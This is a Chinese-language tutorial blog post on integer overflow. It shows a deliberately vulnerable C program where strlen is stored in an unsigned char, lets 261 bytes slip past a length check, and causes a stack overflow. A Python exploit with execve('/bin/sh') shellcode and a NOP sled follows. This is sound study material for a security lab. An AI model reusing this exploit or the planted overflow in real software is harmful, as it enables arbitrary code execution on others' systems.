pediy18-2

整数溢出

存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但是整数溢出可能会导致堆溢出或者栈溢出,从而导致任意代码执行。

数据类型大小以及范围:

对于代码:

//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd); /* [1] */ 
 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
  printf("Valid Password\n"); /* [3] */ 
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

在 1 处有一个整数溢出的错误。strlen返回的类型是 unsigned int 。但是它存储在unsigned char中。因此 任何大于unsigned的值即255,就会导致整数溢出。因此如果输入261个值,返回值便会是5.因此可以绕过密码数量的检查。从而导致堆栈溢出,执行任意代码。

使用261个A当作密码进行测试,最终A会被当做返回地址。

接下来便是找到返回地址的偏移地址。

在IDA中查看到执行完复制函数后的地址,在此处下断点,再次运行GDB调试,输入与刚才相同

可以在堆栈里查看到当前EBP的值与第一个A之间的差为20,

20+4即为返回地址的值。

扫描二维码关注公众号,回复: 5921368 查看本文章

所以距离返回地址为24。

因此,即用24个"A" 加 返回地址 加261-24-4个任意字符,即可控制返回地址。调试尝试

可以看到“BBBB”刚好成为了返回地址,所以我们便可以执行任意代码。

执行该EXP,完成控制。

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call
arg1 = "sploitfun"
#Stack address where shellcode is copied.
ret_addr = 0xffffce70
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("I",num)
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "\x90" * 108
print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

注意:在放置shellcode的时候,根据个人的机器将shellcode放置在远离esp的位置。否则会出现

该问题,在同学指导下终于解决了!!!

猜你喜欢

转载自blog.csdn.net/qq_38025365/article/details/88693552